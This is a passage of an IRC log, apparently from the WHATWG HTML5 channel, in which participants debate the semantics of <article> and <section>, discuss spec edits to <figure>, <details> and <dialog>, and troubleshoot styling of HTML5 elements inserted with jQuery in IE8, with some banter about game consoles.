The confusion between <article> and <section> seems to be the big takeaway from that

[03:23:04.0000] <annevk2>
/me wouldn't be opposed against merging them

[03:24:00.0000] <hsivonen>
the biggest takeaway is to avoid the word "section" in the definition of <article>

[03:24:01.0000] <othermaciej>
good point - I wonder if the reversal would have been as common if it said "a part of a page"

[03:24:02.0000] <othermaciej>
instead of "a section of a page"

[03:24:03.0000] <jgraham_>
I think maybe it would be OK to postpone <article> to HTML6 once we have an idea of how people are using <section>

[03:25:00.0000] <othermaciej>
I bet it still would be though

[03:25:01.0000] <jgraham_>
since generally an <article> is-a <section>

[03:25:02.0000] <Hixie>
see, i think <article> is far more important than either <figure> or <details> :-)

[03:25:03.0000] <webben>
Maybe there needs to be a paragraph defining the difference between them.

[03:25:04.0000] <webben>
and the definition for each needs to refer back to that

[03:26:00.0000] <hsivonen>
Hixie: I think you have the importance of article and figure backwards

[03:27:00.0000] <Hixie>
i think you do :-)

[03:27:01.0000] <othermaciej>
I think the importance evaluation has to consider author desire to use the relevant element, and likelihood of using it correctly

[03:27:02.0000] <jgraham_>
/me wonders why Hixie thinks <article> is so important

[03:27:03.0000] <othermaciej>
it seems like both are higher for <figure> than <article>, regardless of their importance in the world of Platonic ideals

[03:27:04.0000] <Hixie>
/me is changing <figure> and <details> to use <dt>/<dd>, and dropping <dialog>

[03:27:05.0000] <hsivonen>
woohoo!

[03:28:00.0000] <othermaciej>
/me wonders whether Tantek will be delighted or infuriated by that change

[03:28:01.0000] <Philip`>
The way I see it is that <details> does something useful, and <article> is just a semantic way of saying <div class=article>, and it's fun to be anti-semantic

[03:28:02.0000] <Hixie>
also, i hate you all. this is far more work than it's worth. :-P

[03:28:03.0000] <othermaciej>
hi Lachy!

[03:28:04.0000] <Lachy>
hi

[03:28:05.0000] <jgraham_>
:)

[03:29:00.0000] <othermaciej>
Lachy: may I prod you for an update on about: registration? any progress to report? should I push out the deadline?

[03:29:01.0000] <Hixie>
i think <article>/<section> are important because there's a key difference between a blog post and a section of a blog post, or a blog comment and a section on a web page

[03:29:02.0000] <jgraham_>
(as an aside the sparklines on that post work rather nicely)

[03:29:03.0000] <Hixie>
it's the difference between a chapter, and something that gets syndicated

[03:29:04.0000] <othermaciej>
jgraham_: I was also charmed by the sparklines

[03:29:05.0000] <Lachy>
othermaciej, the deadline was this thursday, wasn't it?

[03:30:00.0000] <Philip`>
jgraham_: I don't like how the sparklines ascribe significance to the arbitrary ordering of elements

[03:30:01.0000] <othermaciej>
Lachy: yes, it's this Thursday - just asking early

[03:30:02.0000] <Lachy>
I actually planned to look at that stuff today. I have a lot of feedback I need to send to Joseph about the latest draft

[03:31:00.0000] <Philip`>
It'd be less arbitrary if e.g. it ordered the values from highest to lowest in each sparkline

[03:31:01.0000] <hsivonen>
registering about: is more complex than I thought

[03:31:02.0000] <othermaciej>
Lachy: if you want to send an update by email, that's ok too, or I can ping you tomorrow, I was just assuming you probably wouldn't be at the telecon, so I wanted to make sure I'd have the data

[03:31:03.0000] <Lachy>
I'll make sure you have some info before the telcon

[03:31:04.0000] <annevk2>
/me finds a page that uses about:legacy-compat: http://xopus.com/

[03:32:00.0000] <othermaciej>
the potential flaw in the sparklines is that one could be really sharp and spikey while indicating 100% wrongness

[03:32:01.0000] <Philip`>
Hixie: That difference already seems clear enough in practice, because the something that gets syndicated is the something in the RSS feed

[03:33:00.0000] <othermaciej>
<article>/<section> make sense in the case of a blog but get kind of confusing (with respect to each other and possibly with respect to <div>) in other contexts

[03:33:01.0000] <Hixie>
othermaciej: yeah the right sparkline type for that data would be a series of red/black blocks (red for good answers, black for bad ones), or something like that

[03:34:00.0000] <jgraham_>
I guess dropping <article> makes the syndication-from-the-html thing harder

[03:34:01.0000] <Hixie>
<article>/<section> also make clear sense in a forum, on a site like iGoogle, on anything with a clear body of content like an eBay page, etc.

[03:35:00.0000] <jgraham_>
Hixie: I agree that there is a difference and to me it is clear. I am concerned that it is not clear enough to everyone else

[03:35:01.0000] <webben>
Hixie: I think recognizing messages as articles may be confusing for people actually.

[03:35:02.0000] <othermaciej>
I don't know how to use <article>/<section> in the context of apps, even though the spec says they can be used for that

[03:36:00.0000] <Lachy>
jgraham_, from the uses of <article> that I've seen, people seem to be getting it right. The only issue has been the misuse of <section> as a wrapper within articles

[03:36:01.0000] <othermaciej>
I admit I am a bit puzzled by the apparent confusing over <article>/<section> in the context of documents

[03:37:00.0000] <othermaciej>
eBay is appy enough that I wouldn't be sure how to apply article/section

[03:37:01.0000] <webben>
you can't use section to wrap sections inside articles?

[03:38:00.0000] <jgraham_>
webben: You can

[03:38:01.0000] <jgraham_>
If they are true subsections of the article

[03:38:02.0000] <webben>
Okay. (Good.)

[03:39:00.0000] <Lachy>
webben, yes, but people have been doing <article><header/><section/><footer/></article> where the section is nothing but a wrapper around the content

[03:39:01.0000] <webben>
ah I see.

[03:41:00.0000] <Hixie>
there are an UNGODLY number of <figure> examples in the spec

[03:41:01.0000] <Hixie>
not surprising everyone wants to use it

[03:41:02.0000] <Hixie>
i should put this many <menu> examples in

[03:41:03.0000] <jgraham_>
/me wonders in which religions god has an opinion on the HTML5 spec

[03:44:00.0000] <Lachy>
jgraham_, that would be the god in Bible5

[03:45:00.0000] <jgraham_>
I'm pretty sure Bible5 has no God on the basis of lack of scientific evidince for His existance

[03:46:00.0000] <annevk2>
/me isn't really sure about <menu> 'cause of hyatt's multiple "rants" about it

[03:46:01.0000] <Philip`>
Shouldn't it equally have a God on the basis of lack of scientific evidence for His non-existence?

[03:46:02.0000] <Philip`>
Pave the cowpaths, and all that

[03:47:00.0000] <Hixie>
that doesn't scale

[03:47:01.0000] <Lachy>
Philip`, no

[03:47:02.0000] <Hixie>
and the cowpaths are contradictory

[03:47:03.0000] <Hixie>
also, specs should be written based on reality, not on previous specs (like the christian bible, in this case)

[03:47:04.0000] <othermaciej>
whether or not there is evidence for God, a lot of people are using him

[03:47:05.0000] <Philip`>
God is like xmlns

[03:47:06.0000] <Philip`>
Better to just accept him and carry on

[03:49:00.0000] <annevk2>
and make it a useless talisman in the process?

[03:49:01.0000] <othermaciej>
God is like violence. If he doesn't solve your problem, you're not using enough of him.

[03:49:02.0000] <Lachy>
haha

[03:49:03.0000] <Philip`>
annevk2: Sure, if it's enough to keep people happy

[03:51:00.0000] <Lachy>
the problems only start when people try to force their talismans upon others and attack others for rejecting it.

[03:55:00.0000] <othermaciej>
if only all you Tagsoupists converted to the true path of Slashianity, we wouldn't have this problem

[03:56:00.0000] <Philip`>
I'm sure we'd find something else to fight over instead

[03:56:01.0000] <Perceptes>
anyone around?

[03:57:00.0000] <Philip`>
Perceptes: Maybe

[03:57:01.0000] <Perceptes>
/me laughs.

[03:58:00.0000] <Philip`>
(It depends on whether you ask something that anyone feels like responding to)

[03:58:01.0000] <Perceptes>
I was hoping for some info on HTML 5 in IE. I ran into an issue I can't find any reference to on the web though it seems like it would be common.

[03:58:02.0000] <Philip`>
What issue is that?

[03:59:00.0000] <Perceptes>
I'm using Remy Sharp's html5shiv script, but when I insert HTML5 elements into the page later with jQuery, the elements are not styled. If I look at the newly inserted HTML in IE 8's built in developer toolbar, I can see that it's not correctly nesting the elements - it sees the opening and closing tags of each HTML5 element as two separate tags.

[04:00:00.0000] <Philip`>
I assume that's the http://code.google.com/p/html5shiv/source/browse/trunk/html5.js script?

[04:01:00.0000] <Perceptes>
that's the one.

[04:01:01.0000] <Philip`>
What elements are you using it with?

[04:01:02.0000] <Perceptes>
The ones that are being inserted and not styled are article, header, section, and time.

[04:01:03.0000] <Perceptes>
the latter three being children of a single article element.

[04:01:04.0000] <jgraham_>
Do you make sure the script runs before loading jQuery?

[04:02:00.0000] <Perceptes>
Yes, it's loaded before all other JS and CSS files.

[04:02:01.0000] <Philip`>
(That probably shouldn't matter, as long as the script runs before the parser reaches the new elements)

[04:03:00.0000] <Perceptes>
It only happens when injecting HTML5 elements with JS though, everything is styled correctly on initial page load, so I know the shiv script is working.

[04:03:01.0000] <jgraham_>
(Right but jQuery could be doing some clever caching or something so it seems worth checking)

[04:04:00.0000] <Philip`>
Oh, okay, I missed that you said they were inserted later

[04:04:01.0000] <annevk2>
might help if you show the page

[04:05:00.0000] <Philip`>
I expect inserting elements with createElement/appendChild should work, and inserting with innerHTML probably ought to work too (though I'm not sure), but I have no idea how jQuery tries to insert elements

[04:05:01.0000] <Perceptes>
it's not on a live server

[04:05:02.0000] <jgraham_>
Perceptes: If you take jQuery out of the loop, does it work if you do something like <script>document.body.innerHTML = "<section style='background-color:green;'>I should be a child of the section</section>"</script>

[04:06:00.0000] <Perceptes>
lemme try

[04:07:00.0000] <Perceptes>
yeah, that works

[04:08:00.0000] <Perceptes>
so either jQuery is the culprit or just the way I'm doing it isn't right.

[04:08:01.0000] <jgraham_>
Perceptes: can you make a minimal testcase that fails?

[04:09:00.0000] <Perceptes>
I'll see what I can come up with

[04:11:00.0000] <Philip`>
/me has had problems with things like jQuery selectors on new elements (<time> etc) in Opera

[04:12:00.0000] <jgraham_>
Philip`: Did you file a bug?

[04:12:01.0000] <Philip`>
Actually, maybe the problem was with doing node.is('time')

[04:12:02.0000] <Philip`>
so I replaced it with node[0].localName.toLowerCase() == 'time'

[04:13:00.0000] <Philip`>
jgraham_: No, I just hacked around the problem so I could get on with what I wanted to be working on

[04:13:01.0000] <jgraham_>
Philip`: Do you mind filing a bug?

[04:13:02.0000] <Philip`>
Oh, actually, node.is is jQuery selectors, I think

[04:13:03.0000] <Philip`>
jgraham_: Filing a bug on whom?

[04:14:00.0000] <Philip`>
Anyway, the answer is that I do mind a bit and probably wouldn't get around to doing it today

[04:14:01.0000] <jgraham_>
Opera I guess, if it works in other browsers. We can always file a bug on jQuery if they are doing something strage

[04:14:02.0000] <jgraham_>
Philip`: OK

[04:15:00.0000] <Philip`>
Filing bugs takes far more effort than just complaining on IRC

[04:15:01.0000] <annevk2>
Opera does casing different between unknown and known elements

[04:15:02.0000] <Philip`>
/me isn't sure if the last Opera bug he filed was even CC'd to anyone who will actually be interested in looking at it and getting it fixed

[04:16:00.0000] <annevk2>
what's your account? i can take a loop

[04:17:00.0000] <Philip`>
Hmm, I think the bug I'm thinking of was DSK-256463

[04:17:01.0000] <Philip`>
but I don't know if it's still a bug in the latest version, and I can't test it since I don't have KDE3 any more

[04:21:00.0000] <annevk2>
oh, I cannot be of much help with that I'm afraid

[04:43:00.0000] <Hixie>
i now have a 3000 line diff

[04:43:01.0000] <Hixie>
that:

[04:43:02.0000] <Hixie>
drops <dialog>

[04:44:00.0000] <Hixie>
makes <figure> amd <details> use <dt>/<dd> instead of <legend>

[04:44:01.0000] <Hixie>
moves the stuff about tag clouds and footnotes into a section that also has something about conversations

[04:44:02.0000] <Hixie>
adds <dc> and <ds> to the parser speculatively for future expansion

[04:46:00.0000] <Lachy>
Hixie, what is <dc> reserved for?

[04:46:01.0000] <Hixie>
credits in <figure>

[04:47:00.0000] <Hixie>
i'll do a separate patch to move <legend> and <div> into other sections, since this is big enough alreayd

[04:47:01.0000] <annevk42>
sounds pretty good

[04:48:00.0000] <annevk42>
Hixie, you should add Jeremy Keith to the ack section too

[04:48:01.0000] <Hixie>
i recommend <p><b>speaker</b>: text</p> for conversations

[04:49:00.0000] <Hixie>
annevk42: thanks

[04:49:01.0000] <Hixie>
done

[04:50:00.0000] <Perceptes>
alright, I have a test case on the net if anyone I was talking to a few minutes ago is still on.

[04:52:00.0000] <Philip`>
Perceptes: It's probably best to just post the link in any case, because someone else might look at it or one of the people you were originally talking to might come back in a few hours and read the logs and see it :-)

[04:52:01.0000] <othermaciej>
this is interesting: http://www.techcrunch.com/2009/09/14/tc50-fluidhtml-wants-to-rewrite-the-web-with-flash-like-html/

[04:52:02.0000] <Philip`>
/me is currently not here

[04:53:00.0000] <annevk42>
Hixie, in <details>' content model dd is not marked up with <code>

[04:53:01.0000] <Hixie>
fixed, thanks

[04:53:02.0000] <Perceptes>
well ok then! http://www.jimmycuadra.com/ie8/ is the link. I stubbed out the ajax, so just click the add comment button and it will insert a canned comment. try it in non-IE first so you see what it's supposed to do. the script it runs is at http://www.jimmycuadra.com/ie8/javascripts/comments.js and I added a comment in it that shows specifics on where it's breaking.

[04:57:00.0000] <Perceptes>
hmm, is time not supposed to be a block level element?

[04:57:01.0000] <Hixie>
nah it's phrasing-level

[04:57:02.0000] <Perceptes>
ok, that's something I need to fix then

[04:58:00.0000] <Perceptes>
not related to the issue above though

[04:58:01.0000] <jgraham_>
Perceptes: I don't really understand what your demo is supposed to do. I was really hoping for something like 5-10 lines long that printed "PASS" or "FAIL" as appropriate

[05:00:00.0000] <Perceptes>
jgraham_: it does three things: 1) adds a "1 comment" link to the bottom left corner of the blog entry 2) adds a section called "comments" above the comment form 3) adds the canned comment (in the real situation it's the comment you enter, obviously) to that new comments section

[05:01:00.0000] <jgraham_>
/me will spend a few moments trying to reduce it further

[05:01:01.0000] <jgraham_>
(but not very many)

[05:01:02.0000] <Perceptes>
the part that's failing is that in step 2, it's inserting a section element which IE doesn't seem to parse correctly, so when the script tries to insert the comment into it, it throws an error

[05:02:00.0000] <Perceptes>
if I use a div instead of a section, then it inserts fine

[05:02:01.0000] <jgraham_>
Yeah, I see the failing code

[05:02:02.0000] <Perceptes>
but the comment itself (which uses article, header, and section) doesn't style

[05:02:03.0000] <Perceptes>
ok

[05:02:04.0000] <Perceptes>
I'll work on a version with all the stuff not specific to the failure stripped out

[05:04:00.0000] <Hixie>
oh i also made <dl> say that <dt> should be unique

[05:05:00.0000] <Hixie>
forgot to mention that in the checkin comment

[05:05:01.0000] <Hixie>
(it's just a "should")

[05:05:02.0000] <zcorpan>
Philip`: personally, i'd like related things to be on the same page in the multipage version. in particular i'd like video, audio and media elements to be in one page

[05:06:00.0000] <annevk42>
Hixie, for <dd> in contexts where it can be used you are specific for <dl> but not for the other two; i.e. for <figure> it can appear only once and for <details> it can appear only once, but only after a <dt>

[05:07:00.0000] <zcorpan>
Philip`: since e.g. things that invoke the resource selection algorithm is all over the place, it's nice to be able to search within the page

[05:07:01.0000] <Hixie>
annevk42: good point

[05:07:02.0000] <hsivonen>
Philip`: it would be great to have a static copy of the parser section stored somewhere immediately before you split the tokenization and tree building sections again

[05:07:03.0000] <Perceptes>
jgraham_: refresh for a super simplified HTML page

[05:07:04.0000] <hsivonen>
Philip`: if lynx --dump rewraps the lines, I'm in the world of hurt again

[05:08:00.0000] <hsivonen>
otherwise, I like having tokenization and tree building on separate pages in the multipage version

[05:08:01.0000] <hsivonen>
/me depends on lynx --dump for diffing those sections

[05:16:00.0000] <Lachy>
Hixie, in the footnotes example, why don't you use <sup> to make the footnote references superscripts, as they usually are in printed typography

[05:16:01.0000] <Hixie>
i was doing what wikipedia does

[05:16:02.0000] <Hixie>
but yeah, we could do that

[05:16:03.0000] <Hixie>
still with square brackets?

[05:16:04.0000] <Lachy>
wikipedia also uses <sup>

[05:16:05.0000] <jrib>
Hey, is there a reason html5lib/treebuilders/__init__.py and _base.py contain print statements?  Is this just for debugging purposes during development?

[05:16:06.0000] <Hixie>
oh, i didn't notice

[05:16:07.0000] <Hixie>
ok cool, will do

[05:17:00.0000] <jrib>
(this is in python3)

[05:17:01.0000] <Hixie>
Lachy: reload in 25 seconds; is that better?

[05:18:00.0000] <Lachy>
the square brackets are just a wikipedia convention. i'm not sure of the reason behind it.  It  may be just to make the links slightly larger and easier to click. I've never seen them used in printed typography.

[05:19:00.0000] <Hixie>
i guess we're a new medium, we get to make our own conventions

[05:20:00.0000] <zcorpan>
Hixie: ugh. why change the parser before actually adding new elements?

[05:20:01.0000] <Hixie>
so that we can add them with significantly less pain in the future

[05:20:02.0000] <Hixie>
consider how easier our life would be if <legend> was parsed correctly today

[05:21:00.0000] <zcorpan>
if <legend> was treated as an unknown element, it would be fine

[05:21:01.0000] <Lachy>
Hixie, put the <a> within the <sup>, rather than the other way around

[05:21:02.0000] <Hixie>
Lachy: oh, yeah, underlining, oops

[05:21:03.0000] <Lachy>
see http://software.hixie.ch/utilities/js/live-dom-viewer/saved/231 for why

[05:21:04.0000] <Lachy>
yeah

[05:21:05.0000] <jgraham_>
Perceptes: http://hoppipolla.co.uk/410/IE_jQuery.html

[05:22:00.0000] <remysharp>
On the legend note Hixie - can you clarify the "use dt/dd" comment here: http://www.w3.org/Bugs/Public/show_bug.cgi?id=7374 - is that in place of figure/details or in place of using legend?

[05:22:01.0000] <Creap>
http://html5.org/tools/web-apps-tracker?from=3858&to=3859 are dc/ds short for something, a typo or something I've never heard about

[05:22:02.0000] <Hixie>
zcorpan: ok, consider how much easier our life would be if <figure> had been a block-level element in the past

[05:22:03.0000] <annevk42>
Creap, they're speculative future extensions

[05:22:04.0000] <Hixie>
remysharp: <dt> replaces <legend> in <figure> and <details>; see the updated examples in the spec

[05:22:05.0000] <remysharp>
Hixie: ta.

[05:22:06.0000] <Creap>
ok

[05:23:00.0000] <Hixie>
Creap: <dc> for credits, probably, <ds> maybe for stage directions. Both are not really elements yet.

[05:23:01.0000] <Hixie>
Creap: (not sure how much of a good idea it is to add them before we know if we need them)

[05:23:02.0000] <Hixie>
Creap: (so they might not stay)

[05:23:03.0000] <Perceptes>
jgraham_: wow, even more stripped down then what I'm doing. D:  Thank you!

[05:23:04.0000] <hsivonen>
/me is uneasy about <ds> and <dc> without an articulated reason

[05:23:05.0000] <jgraham_>
jrib: Sounds like debugging

[05:24:00.0000] <annevk42>
Hixie, shouldn't the <details> binding only work with <dd>?

[05:24:01.0000] <Hixie>
hsivonen: the articulated reason is that in the future, we will probably want <figure> <dt>legend <dc>credit <dd><img ...> </figure>

[05:24:02.0000] <zcorpan>
Hixie: it would make things harder if we found out that the use cases for <figure> demand it to be an inline element in the parser

[05:24:03.0000] <jrib>
jgraham_: yeah, I'll just comment them out I guess...

[05:24:04.0000] <annevk42>
Hixie, would be nice to be able to implement it as just a display switch

[05:25:00.0000] <jrib>
jgraham_: thanks

[05:25:01.0000] <annevk42>
Hixie, also a lot easier for script implementations

[05:25:02.0000] <Hixie>
annevk42: not sure what you mean

[05:25:03.0000] <annevk42>
Hixie, currently everything besides <dt> has to be hidden and displayed, rather than just the last child <dd>

[05:25:04.0000] <Hixie>
zcorpan: yeah, dunno

[05:25:05.0000] <annevk42>
(the concern is mostly about invalid docs)

[05:26:00.0000] <annevk42>
s/mostly//

[05:26:01.0000] <Hixie>
annevk42: oh, you want the rendering aspect changed more. i see.

[05:26:02.0000] <Hixie>
annevk42: yeah, i guess we could do that.

[05:26:03.0000] <jgraham_>
jrib: You are the only person known to be using the Python3 html5lib treebuilder

[05:26:04.0000] <jrib>
jgraham_: heh :)

[05:26:05.0000] <annevk42>
/me wonders when Python3 will be more mainstream

[05:27:00.0000] <jrib>
I write my personal scripts in python3

[05:27:01.0000] <jgraham_>
So you are basically welcome to do what you want with it. If you end up with patches you want to commit we can sort something out

[05:28:00.0000] <jgraham_>
(like you can have access to the Google code project or I can poull from your repo or whatever)

[05:29:00.0000] <jgraham_>
/me remembers he was going to the shop some time ago

[05:30:00.0000] <jgraham_>
Perceptes: It looks like jQuery does something rather complex for DOM operations so it's not trivially obvious where the issue lies

[05:30:01.0000] <zcorpan>
hmm, writing tests for the resource selection algorithm is no fun

[05:30:02.0000] <zcorpan>
all my tests pass

[05:30:03.0000] <Perceptes>
jgraham_: I was afraid of that :|

[05:31:00.0000] <zcorpan>
darn philipj being so pedantic in following the spec

[05:31:01.0000] <hsivonen>
Perceptes: are you setting display: block; on the new structural elements?

[05:31:02.0000] <Perceptes>
yes, I'm using the html5 reset css from here: http://code.google.com/p/html5resetcss/downloads/list

[05:32:00.0000] <Perceptes>
^ hsivonen

[05:33:00.0000] <hsivonen>
Perceptes: ok. that's not the problem then

[05:34:00.0000] <Perceptes>
I updated http://www.jimmycuadra.com/ie8/ with a full description of what's happening and a link to a copy of jgraham_'s page

[05:35:00.0000] <Perceptes>
anyway, it seems like this might be an issue for the jquery devs

[05:36:00.0000] <annevk42>
what's up with "HTMLWG WG"?

[05:54:00.0000] <Lachy>
annevk42, that's the working group that is working on the working group

[05:55:00.0000] <Lachy>
:-)

[05:55:01.0000] <Hixie>
is that another name for the html4all group? :-)

[05:55:02.0000] <Lachy>
maybe it's another name for the HTML-CG

[05:59:00.0000] <annevk42>
it's what everyone seems to be using when cc'ing the HTML WG list

[05:59:01.0000] <annevk42>
or at least a few people

[06:00:00.0000] <Lachy>
I haven't noticed it

[06:03:00.0000] <annevk42>
see e.g. http://lists.w3.org/Archives/Public/public-html/2009Sep/0567.html

[06:03:01.0000] <annevk42>
or http://lists.w3.org/Archives/Public/public-html/2009Sep/0550.html

[06:04:00.0000] <annevk42>
or http://lists.w3.org/Archives/Public/public-html/2009Sep/0537.html

[06:04:01.0000] <annevk42>
etc.

[06:06:00.0000] <Lachy>
oh, interesting. My mail client just displays "public-html" because that's what I have in my address book.

[06:06:01.0000] <beowulf>
it's for those working on HTML5 5

[06:08:00.0000] <Philip`>
zcorpan: Hmm, the video page is pretty small so I suppose it could be merged with media-elements without causing extreme pain to people who asked for small pages

[06:08:01.0000] <Philip`>
/me updates his script; will upload some time later

[06:09:00.0000] <zcorpan>
Philip`: thanks

[06:10:00.0000] <Philip`>
hsivonen: I don't trivially have a copy of the parser section - I don't extract that section and then split it up further, I just split the original source document into a series of chunks

[06:10:01.0000] <hsivonen>
Philip`: is there a pre-splitter change and post-splitter change archive of the entire multipage spec

[06:10:02.0000] <hsivonen>
?

[06:12:00.0000] <annevk42>
there might be one on dev.w3.org

[06:12:01.0000] <annevk42>
see http://dev.w3.org/cvsweb/html5/spec/

[06:13:00.0000] <Philip`>
hsivonen: (so it's probably just as easy to extract that section using a simple regexp script, like perl -lne'print if /<h3 id=parsing>/../<h3 id=(?!parsing)/' index)

[06:13:01.0000] <hsivonen>
Philip`: oh so the splitting of the parsing section isn't changing?

[06:14:00.0000] <Philip`>
hsivonen: Hmm, I may be misunderstanding what you want

[06:15:00.0000] <hsivonen>
Philip`: if/when the lynx line wrapping of the parsing section is at risk of changing, I'd like to have reference files before and after the line wrap change

[06:15:01.0000] <hsivonen>
if there's no wrapping change happening this time, no problem

[06:16:00.0000] <Philip`>
hsivonen: The split pages that contain the parsing stuff will be different to what they were a few days ago - originally the tokeniser/tree-constructor/etc were separate pages, then <div class=impl> was added and they all became a single page, and recently the spec-splitter was updated so it will split them into separate pages again

[06:16:01.0000] <Philip`>
hsivonen: I don't think the splitter will change any wrapping ever - it's just copied from the source document (and parsed and serialised but not otherwise altered)

[06:16:02.0000] <hsivonen>
Philip`: ok. 

[06:16:03.0000] <Philip`>
s/it's/the content of each page is/

[06:17:00.0000] <hsivonen>
Philip`: at least once Hixie has done something that changed nesting depth of the paragraphs or somethnig

[06:17:01.0000] <Philip`>
It sounds like he must have edited the source document

[06:17:02.0000] <Philip`>
so I think I'm innocent of any involvement in that

[06:19:00.0000] <Philip`>
"why change the parser before actually adding new elements?" - it provides a way to avoid naming debates - there's no need to debate now because we're not actually adding any new elements with new names, and later we'll be forced to use the only names that are parsed correctly so there's no point debating then either

[06:20:00.0000] <hsivonen>
Philip`: excellent point!

[06:22:00.0000] <Hixie>
that's a pretty awesome reason

[06:22:01.0000] <Hixie>
ok, it's about 4 hours past my bed time

[06:22:02.0000] <Hixie>
and about 2 hours past my backup bed time

[06:22:03.0000] <Hixie>
so nn!

[06:23:00.0000] <Philip`>
hsivonen: (By the way, if you did want the old splitter output then the script is in SVN and should be relatively easily executable if you've got html5lib and lxml installed)

[06:23:01.0000] <hsivonen>
Philip`: ok. (I have neither)

[06:23:02.0000] <Philip`>
hsivonen: (but I'll assume for now that you don't need it, since hopefully nothing changed except the divisions between pages)

[06:23:03.0000] <hsivonen>
ok

[06:24:00.0000] <annevk42>
/me sort of suspects someone to make an issue about this now

[06:24:01.0000] <Philip`>
Also by the way, I don't suppose anyone knows why suspend-to-RAM on my laptop only successfully resumes if I have active disk activity (e.g. md5summing a large file) before I run the suspend command?

[06:25:00.0000] <takkaria>
what are ds and dc meant to be for?

[06:25:01.0000] <Philip`>
/me wants a <psp> element

[06:26:00.0000] <jgraham_>
/me wants a <wii> element

[06:26:01.0000] <takkaria>
<ny>?

[06:29:00.0000] <Philip`>
/me wants a <360> element too, but is scuppered by XML's NCName requirements

[06:29:01.0000] <Lachy>
Philip`, what's what with <xbox> ?

[06:29:02.0000] <Lachy>
<xbox type="360"> should work for you

[06:30:00.0000] <Lachy>
takkaria, what's <ny>?

[06:30:01.0000] <Lachy>
New York?

[06:31:00.0000] <Philip`>
Lachy: That suggests much more similarity between the types than there really is

[06:31:01.0000] <takkaria>
yeah, I was going off DC being Washington, District of Colombia

[06:31:02.0000] <Lachy>
oh

[06:31:03.0000] <takkaria>
screw all these, we need <gamesconsole type="xbox" model="360">

[06:31:04.0000] <takkaria>
that's more extensible anyway

[06:32:00.0000] <annevk42>
might as well use <object> then

[06:32:01.0000] <takkaria>
+ RDFa

[06:32:02.0000] <annevk42>
now you have two problems

[06:32:03.0000] <takkaria>
let's use Perl and regexes, then we have four

[06:33:00.0000] <Philip`>
takkaria: That's nowhere near enough attributes

[06:33:01.0000] <Lachy>
Philip`, wasn't the XBox 360 just the 2nd generation of XBox, much like the PS2 was the second generation PlayStation?

[06:33:02.0000] <Philip`>
Got to specify the type (Pro/Elite/etc), and disk size, and the code-name of the internal electronics

[06:34:00.0000] <Lachy>
oh. that's complicated.

[06:34:01.0000] <Lachy>
/me goes back to playing with his <gameboy>

[06:35:00.0000] <Philip`>
Lachy: It's totally new hardware with completely different CPU (Intel vs IBM) and completely different GPU (NVIDIA vs ATI)

[06:35:01.0000] <Philip`>
It's only backward-compatible through software emulation, I think

[06:36:00.0000] <Philip`>
I guess the OS and development tools are similar but greatly updated

[06:37:00.0000] <Philip`>
It's the second use of the brand name, but that's not really interesting - in most ways it's just an independent new thing

[06:37:01.0000] <Lachy>
right. So it's much more like the change from the Nintendo Control Deck to Super Nintendo (although they weren't compatible at all)

[06:38:00.0000] <Philip`>
(I expect PS->PS2 and PS2->PS3 are similar, in that they're totally new devices designed from scratch, rather than being updates of a previous version)

[06:39:00.0000] <Philip`>
(whereas GameCube->Wii is a much more basic hardware upgrade, just adding faster CPU and more RAM etc)

[06:39:01.0000] <da3d>
Philip`: We need to specify region too. A european 60GB PS3 is different from a north american 60GB PS3...

[06:40:00.0000] <Lachy>
Was the GameCube the one that came after the N64?

[06:40:01.0000] <da3d>
yes

[06:40:02.0000] <Lachy>
did the GameCube use CDs or cartridges for the games?

[06:41:00.0000] <da3d>
It used 1.5GB 8cm sorta-DVDs...

[06:41:01.0000] <annevk42>
small CDs

[06:41:02.0000] <Lachy>
oh

[06:43:00.0000] <Philip`>
da3d: I suppose that matters when someone queries the air-speed velocity of an unladen PS3

[06:44:00.0000] <Lachy>
/me is so out of date when it comes to game consoles

[06:44:01.0000] <takkaria>
Philip`: it also matters for NTSC vs PAL, I imagine

[06:46:00.0000] <Philip`>
Wouldn't the hardware just support both?

[06:46:01.0000] <Philip`>
(as well as VGA and HDMI and whatever else)

[06:46:02.0000] <Philip`>
/me presumes it matters more for region-locking of games

[06:47:00.0000] <jgraham_>
/me makles the rather obvious point that the change in input hardware from gamecube to wii is much more significant to the end user than the change in the internals

[06:48:00.0000] <annevk42>
the only problem with the Wii is the lack of non-casual-gamer games

[06:49:00.0000] <Philip`>
jgraham_: Indeed, but in terms of 'generations' it's just an incremental feature addition rather than a fundamental redesign

[06:49:01.0000] <annevk42>
stuff like GTA, Gears of War, etc.

[06:49:02.0000] <annevk42>
well, I guess there's Zelda and Mario Galaxy, but still

[06:49:03.0000] <da3d>
Old consoles actually had slightly different hardware in different regions, eg SNES had slightly different cpu clock rates for europe...

[06:50:00.0000] <jgraham_>
/me should play more Zelda and Mario Galaxy

[06:50:01.0000] <Philip`>
GTA/GoW vs Zelda/Mario is quite a difference in tone

[06:50:02.0000] <Philip`>
da3d: Was that for NTSC vs PAL synchronisation?

[06:51:00.0000] <annevk42>
Philip`, they're similar in depth

[06:51:01.0000] <da3d>
Philip`: Not sure, probably. PAL consoles were horribly gimped back then anyway.

[06:51:02.0000] <Philip`>
(which seems less of an issue now there's so much variation in resolutions that you can't get precise synchronisation guarantees anyway, I guess)

[06:52:00.0000] <da3d>
I suppose it's mostly firmware differences these days, with a few exceptions (like certain PS3 models).

[06:53:00.0000] <Philip`>
annevk42: Depth similarities don't really help when you're in a mood for driving large trucks over grannies but you're not allowed to do anything but jump on mushrooms

[06:55:00.0000] <beowulf>
the links in Smylers lastest email don't work for me

[06:55:01.0000] <beowulf>
 http://www.whatwg.org/html5#the-blockquote-element

[06:55:02.0000] <beowulf>
just goes to the multipage doc

[06:56:00.0000] <Philip`>
beowulf: Works for me

[06:56:01.0000] <Philip`>
beowulf: You don't have scripting disabled or anything?

[06:56:02.0000] <beowulf>
Philip`: no, JS is enabled, Smylers suggested that too

[06:56:03.0000] <beowulf>
I'm using Safari 4.0.3

[06:57:00.0000] <beowulf>
/me investigates what else he may be doing that's stupid

[06:57:01.0000] <Philip`>
/me is unable to test in that

[06:57:02.0000] <Philip`>
(link-fixup.js ought to be redirecting you)

[06:58:00.0000] <beowulf>
no errors in the console...

[06:58:01.0000] <jgraham_>
Philip`: Are there any jumping-on-mushrooms games for the Xbox/PS3?

[06:58:02.0000] <jgraham_>
(that are comparable in quality to Mario)

[06:59:00.0000] <da3d>
The whole "Wii = casual" thing is way overblown...

[07:00:00.0000] <Philip`>
jgraham_: Seems unlikely

[07:00:01.0000] <Philip`>
At least there's Braid (on 360), which borrows some elements from Mario

[07:00:02.0000] <da3d>
Little Big Planet maybe?

[07:01:00.0000] <Philip`>
/me has never actually owned any console other than a DS, so he's not speaking from much experience here

